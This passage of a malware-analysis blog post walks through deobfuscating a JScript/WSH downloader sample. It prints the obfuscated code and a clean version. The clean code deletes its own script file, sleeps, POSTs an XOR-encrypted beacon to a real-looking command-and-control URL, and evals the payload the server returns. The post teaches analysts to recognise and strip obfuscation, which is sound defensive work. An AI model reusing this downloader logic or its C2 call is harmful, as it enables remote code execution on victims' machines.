                + "        if (aqwi4[(\"N\", \"u\", \"s\") + [\"t\", \"u\", \"g\", \"l\"][(7 - 7)] + \"a\" + (\"b\", \"d\", \"t\") + (\"b\", \"c\", \"D\", \"Y\", \"u\") + (\"Z\", \"Z\", \"C\", \"Y\", \"s\")] == (82 - (-118))) {\n"
                + "            pjedafxexrzo5 = aqwi4[\"r\" + (\"d\", \"q\", \"e\") + \"s\" + (\"u\", \"E\", \"p\") + \"o\" + \"n\" + \"s\" + \"e\" + [\"R\", \"c\", \"T\", \"t\", \"l\", \"D\"][(407 - 405)] + \"e\" + (\"H\", \"c\", \"D\", \"t\", \"x\") + (\"n\", \"L\", \"N\", \"L\", \"y\", \"t\")];\n"
                + "            if (pjedafxexrzo5) {\n"
                + "                umulmpy0 = wvipex(pjedafxexrzo5);\n"
                + "                if (ores) {\n"
                + "                    return umulmpy0;\n"
                + "                } else {\n"
                + "                    this[\"e\" + [\"A\", \"e\", \"g\", \"v\", \"F\"][(753 - 750)] + [\"J\", \"t\", \"u\", \"a\", \"y\", \"D\", \"i\"][(-988 + 991)] + [\"l\", \"t\", \"i\"][(744 - 744)]](umulmpy0);\n"
                + "                }\n"
                + "            }\n"
                + "        }\n"
                + "    } catch (e) {}\n"
                + "    return false;\n"
                + "}\n"
                + "\n"
                + "function grenejmy(rajdysnnejav) {\n"
                + "    var weqanndu = (\"Z\", \"d\", \"0\") + \"0\" + rajdysnnejav[\"t\" + (\"y\", \"J\", \"V\", \"M\", \"o\") + \"S\" + \"t\" + [\"r\", \"F\"][(-216 + 216)] + \"i\" + [\"n\", \"O\"][(-150 + 150)] + [\"n\", \"g\", \"H\"][(388 - 387)]]((-896 + 912));\n"
                + "    weqanndu = weqanndu[\"s\" + [\"p\", \"O\", \"Z\", \"u\", \"Z\", \"k\", \"W\"][(475 - 472)] + [\"b\", \"H\", \"R\", \"K\", \"x\"][(399 - 399)] + [\"s\", \"o\", \"K\"][(-686 + 686)] + [\"y\", \"Q\", \"t\", \"b\", \"m\", \"Y\", \"H\"][(-397 + 399)] + (\"O\", \"E\", \"k\", \"r\")](weqanndu[\"l\" + \"e\" + [\"F\", \"n\", \"V\", \"c\"][(669 - 668)] + (\"n\", \"O\", \"M\", \"L\", \"g\") + (\"U\", \"w\", \"t\") + \"h\"] - 2);\n"
                + "    return weqanndu;\n"
                + "}\n"
                + "\n"
                + "function wvipex(oqpce3) {\n"
                + "    var fevfduwa6, dnoyq, rajdysnnejav, pjedafxexrzo5 = '';\n"
                + "    dnoyq = parseInt(oqpce3[\"s\" + \"u\" + \"b\" + \"s\" + \"t\" + (\"t\", \"s\", \"B\", \"r\")](0, 2), (-474 + 490));\n"
                + "    fevfduwa6 = oqpce3[\"s\" + \"u\" + \"b\" + (\"D\", \"f\", \"L\", \"E\", \"s\") + [\"t\", \"T\"][(411 - 411)] + [\"r\", \"v\"][(-635 + 635)]](2);\n"
                + "    for (rajdysnnejav = 0; rajdysnnejav < fevfduwa6[(\"x\", \"c\", \"t\", \"E\", \"l\") + (\"y\", \"E\", \"N\", \"A\", \"e\") + \"n\" + \"g\" + (\"O\", \"F\", \"t\") + \"h\"]; rajdysnnejav += 2) {\n"
                + "        pjedafxexrzo5 += String[(\"F\", \"K\", \"f\") + (\"n\", \"d\", \"d\", \"r\") + \"o\" + (\"c\", \"l\", \"h\", \"C\", \"m\") + (\"u\", \"o\", \"y\", \"q\", \"m\", \"C\") + [\"h\", \"c\"][(383 - 383)] + (\"u\", \"b\", \"Y\", \"a\") + [\"T\", \"r\", \"e\", \"i\"][(962 - 961)] + \"C\" + (\"c\", \"g\", \"i\", \"V\", \"I\", \"o\") + [\"d\", \"P\"][(-1000 + 1000)] + [\"X\", \"e\", \"y\", \"U\", \"Q\", \"o\", \"k\"][(802 - 801)]](parseInt(fevfduwa6[\"s\" + [\"u\", \"y\", \"b\", \"b\"][(504 - 504)] + [\"N\", \"S\", \"q\", \"b\", \"n\", \"t\"][(-736 + 739)] + \"s\" + (\"w\", \"G\", \"t\") + [\"j\", \"S\", \"r\", \"v\"][(-531 + 533)]](rajdysnnejav, 2), (555 - 539)) ^ dnoyq);\n"
                + "    }\n"
                + "    return pjedafxexrzo5;\n"
                + "}\n"
                + "\n"
                + "function ypychyby(oqpce3) {\n"
                + "    var dnoyq = 158,\n"
                + "        rajdysnnejav, pjedafxexrzo5 = '';\n"
                + "    for (rajdysnnejav = 0; rajdysnnejav < oqpce3[\"l\" + \"e\" + [\"n\", \"Z\"][(-865 + 865)] + [\"g\", \"p\"][(-879 + 879)] + (\"Z\", \"P\", \"o\", \"l\", \"b\", \"t\") + (\"F\", \"G\", \"P\", \"I\", \"h\")]; rajdysnnejav++) {\n"
                + "        pjedafxexrzo5 += grenejmy(oqpce3[\"c\" + \"h\" + \"a\" + [\"r\", \"h\"][(-164 + 164)] + (\"H\", \"G\", \"u\", \"C\") + \"o\" + [\"d\", \"m\", \"o\", \"R\", \"A\"][(-524 + 524)] + \"e\" + (\"G\", \"D\", \"K\", \"S\", \"A\") + (\"L\", \"o\", \"E\", \"r\", \"t\")](rajdysnnejav) ^ dnoyq);\n"
                + "    }\n"
                + "    return (grenejmy(dnoyq) + pjedafxexrzo5);\n"
                + "}\n"
                + "\n"
                + "function getAXO(monebydlba) {\n"
                + "    return this[\"W\" + \"S\" + [\"c\", \"n\", \"q\"][(970 - 970)] + (\"a\", \"d\", \"P\", \"B\", \"r\") + [\"J\", \"D\", \"s\", \"u\", \"i\", \"m\"][(859 - 855)] + [\"k\", \"p\", \"c\", \"x\"][(841 - 840)] + [\"Q\", \"m\", \"t\", \"u\", \"m\", \"l\", \"q\"][(-80 + 82)]][\"C\" + (\"t\", \"m\", \"r\") + \"e\" + [\"i\", \"a\", \"O\", \"p\"][(454 - 453)] + [\"d\", \"P\", \"w\", \"t\", \"q\", \"n\", \"e\"][(-13 + 16)] + \"e\" + (\"r\", \"G\", \"k\", \"w\", \"O\") + (\"W\", \"L\", \"b\") + [\"e\", \"x\", \"j\", \"o\", \"g\"][(-344 + 346)] + \"e\" + (\"I\", \"Z\", \"D\", \"c\") + \"t\"](monebydlba);\n"
                + "}";
    }
 
}

Before and after

To get a clear overview of the difference, the first part of the code is given below, prior to deobfuscation.

try {
    var rhepu = getAXO(("w", "b", "S") + ("f", "I", "u", "h", "B", "c") + ("m", "O", "r") + ("Q", "z", "i") + ("m", "q", "X", "p", "r", "p") + ["v", "I", "S", "t", "l"][(949 - 946)] + ("e", "b", "I", "y", "i") + ("e", "g", "S", "T", "Z", "n") + ["o", "g", "u"][(-531 + 532)] + "." + ["F", "E"][(200 - 200)] + "i" + "l" + ("m", "V", "U", "c", "e") + ("b", "n", "o", "S") + "y" + ("o", "q", "A", "c", "J", "s") + ("m", "k", "G", "t") + ("v", "o", "r", "e") + ("k", "w", "m") + ["O", "n"][(899 - 899)] + "b" + "j" + "e" + "c" + ["t", "N"][(290 - 290)]);
    rhepu["D" + "e" + ("W", "y", "F", "j", "j", "l") + ("P", "u", "G", "G", "a", "e") + ["m", "R", "z", "o", "t", "E"][(-393 + 397)] + ["n", "B", "e", "z", "e"][(668 - 666)] + "F" + ("d", "f", "i") + ("u", "i", "F", "a", "m", "l") + ["e", "F", "T", "e"][(-643 + 643)]](this[("J", "w", "x", "J", "W") + ("B", "C", "i", "S") + "c" + ("T", "c", "H", "p", "Q", "r") + "i" + ("m", "u", "p") + ["q", "t", "A", "M", "r", "K", "a"][(-185 + 186)]][
        ["m", "P", "S", "K", "O", "O"][(-757 + 759)] + ("c", "b", "c") + ["r", "g"][(-321 + 321)] + ["D", "v", "H", "i", "d", "a", "A"][(847 - 844)] + ("C", "d", "k", "p") + ["i", "t", "p"][(115 - 114)] + ("R", "H", "z", "d", "r", "F") + "u" + "l" + "l" + "N" + "a" + "m" + ("Q", "m", "W", "W", "e")
    ], true);
} catch (e) {}
var zuqyljaah = ("u", "T", "k", "h") + ["t", "G", "H", "M", "X", "n"][(-130 + 130)] + ["t", "E", "r", "T"][(-854 + 854)] + "p" + ":" + "/" + "/" + ["6", "B"][(-689 + 689)] + "0" + ("s", "M", "a", "e") + "a" + ["s", "t", "H", "y", "p", "0", "b"][(395 - 390)] + ["d", "2", "P", "m"][(-362 + 363)] + ["H", "c", "W", "6", "w"][(874 - 871)] + ("X", "s", "0") + "." + "a" + ("Y", "U", "Y", "J", "s", "u") + "t" + ("v", "E", "k", "t", "G", "h") + "." + ["G", "H", "c", "q"][(-698 + 700)] + ("t", "U", "X", "o") + ("u", "p", "d") + "i" + "n" + ["g", "u", "Y"][(-279 + 279)] + ("L", "D", "e", "t", "b") + ("L", "T", "i") + "t" + "." + "c" + "o" + "." + ("u", "R", "u", "i") + "n" + "/" + ["P", "v", "x", "s", "r", "c", "r"][(-350 + 353)] + ("j", "G", "u") + ["j", "R", "b", "q"][(312 - 310)] + ("N", "l", "k", "N", "R", "m") + ("I", "K", "i") + ("W", "o", "j", "e", "t") + "." + "a" + ["E", "z", "k", "f", "s", "U"][(-412 + 416)] + ["m", "j", "v", "p", "g"][(-354 + 357)] + ("o", "s", "w", "x");
var tid = ["5", "O"][(-765 + 765)] + ("R", "m", "l", "f", "z", "0") + ("L", "C", "g", "g", "0");
var r8h = ["S", "g", "a", "L", "r"][(202 - 200)] + "a" + ("c", "H", "L", "m", "d") + "2" + "8" + ("q", "y", "O", "0") + ("y", "Y", "a", "o", "a") + ("x", "B", "p", "p", "9");
var gudel6 = [];
gudel6[("A", "F", "p") + "u" + "s" + ["A", "u", "h", "m"][(584 - 582)]](["k", "a", "h"][(-497 + 498)]);
gudel6[["d", "p", "E", "i"][(37 - 36)] + "u" + ["s", "h", "K"][(935 - 935)] + ("t", "O", "h")](tid);
var kbiag = womzyjeptfu();
var jybspikivsu = kbiag + (224 - (-9776));
while (kbiag < jybspikivsu) {
    kbiag = womzyjeptfu();
    this[("T", "a", "w", "V", "W") + ["h", "S", "G", "I", "z"][(-666 + 667)] + ("x", "C", "u", "q", "c") + ["r", "Y"][(-326 + 326)] + ["S", "t", "i", "g", "f", "Y"][(-190 + 192)] + ("b", "q", "p") + "t"]["S" + "l" + ("u", "C", "e") + "e" + ["p", "U", "s", "E", "R"][(-375 + 375)]]((464 - (-536)));
}
//More code is omitted due to brevity

Once all obfuscation is removed, the code becomes clear at a glance, as can be seen below.

try {
    var rhepu = getAXO("Scripting.FileSystemObject");
    rhepu["DeleteFile"](this["WScript"][
        "ScriptFullName"
    ], true);
} catch (e) {}
var zuqyljaah = "http://60ea0260.auth.codingbit.co.in/submit.aspx";
var tid = "500";
var r8h = "aad280a9";
var gudel6 = [];
gudel6["push"]("a");
gudel6["push"](tid);
var kbiag = womzyjeptfu();
var jybspikivsu = kbiag + (10000);
while (kbiag < jybspikivsu) {
    kbiag = womzyjeptfu();
    this["WScript"]["Sleep"]((1000));
}
//More code is omitted due to brevity

The variable names are still vague, but the malware’s core functionality is now clearly visible.

Analysing the malware

As the malware is now readable, the code can easily be analysed. The refactoring of the code is omitted from this blog post, as the code contains no further obfuscation. The refactored script is partially given below. Note that the full script is included in the file package that is linked at the top of this article. The first part of the code is given below.

try {
    var fileSystemObject = wscriptCreateObject("Scripting.FileSystemObject");
    fileSystemObject["DeleteFile"](this["WScript"]["ScriptFullName"], true);
} catch (e) {}
var url = "http://60ea0260.auth.codingbit.co.in/submit.aspx";
var inputArray = [];
var tid = "500";
inputArray["push"]("a");
inputArray["push"](tid);

Within the try-catch structure, the original script is deleted from the file system. After that, several variables are initialised.

var currentTime = getTime();
var tenSecondsLater = currentTime + 10000;
while (currentTime < tenSecondsLater) {
    currentTime = getTime();
    this["WScript"]["Sleep"](1000);
}
sendRequest(inputArray);

The malware then sleeps for ten seconds, after which the sendRequest function is called.

function sendRequest(inputArray, shouldReturnResponse) {
    if (typeof shouldReturnResponse === "undefined") {
        shouldReturnResponse = false;
    }
    var postBody = '',
        output = '',
        decryptedPayload;
    for (var i = 0; i < inputArray["length"]; i++) {
        postBody += i + '=' + encodeURIComponent('' + inputArray[i]) + '&';
    }
    postBody = encrypt(postBody);
    try {
        var httpRequest;
        httpRequest = wscriptCreateObject("MSXML2.XMLHTTP");
        httpRequest["open"]("POST", url, false);
        httpRequest["send"](postBody);
        if (httpRequest["status"] == 200) {
            output = httpRequest["responseText"];
            if (output) {
                decryptedPayload = decrypt(output);
                if (shouldReturnResponse) {
                    return decryptedPayload;
                } else {
                    this["eval"](decryptedPayload);
                }
            }
        }
    } catch (e) {}
    return false;
}

The HTTP parameters are encrypted using the encrypt function, which is a XOR based encryption function. Depending on the value of the shouldReturnResponse boolean, the malware either executes or returns the decrypted response from the server.

During testing, the command and control server was not responding. Based on the behaviour, it is likely that the malware is registered at the command and control server by the first message, where the response is a payload depending on the configuration of the command and control panel. An actor could only target specific IP addresses from victims, or exclude certain IP address ranges. Note that this is mostly speculation, as no testing could be done.

Conclusion

Learning how to recognise obfuscation patterns in code, and how to remove them, is required to quickly analyse a malware sample. Even though this sample is relatively small, this is not always the case. When responding to an incident, every minute counts, meaning that learning how to automatically remove obfuscation from a sample will decrease the time it takes to analyse obfuscated samples.


To contact me, you can e-mail me at [info][at][maxkersten][dot][nl], send me a PM on Reddit or DM me on Twitter @LibraAnalysis.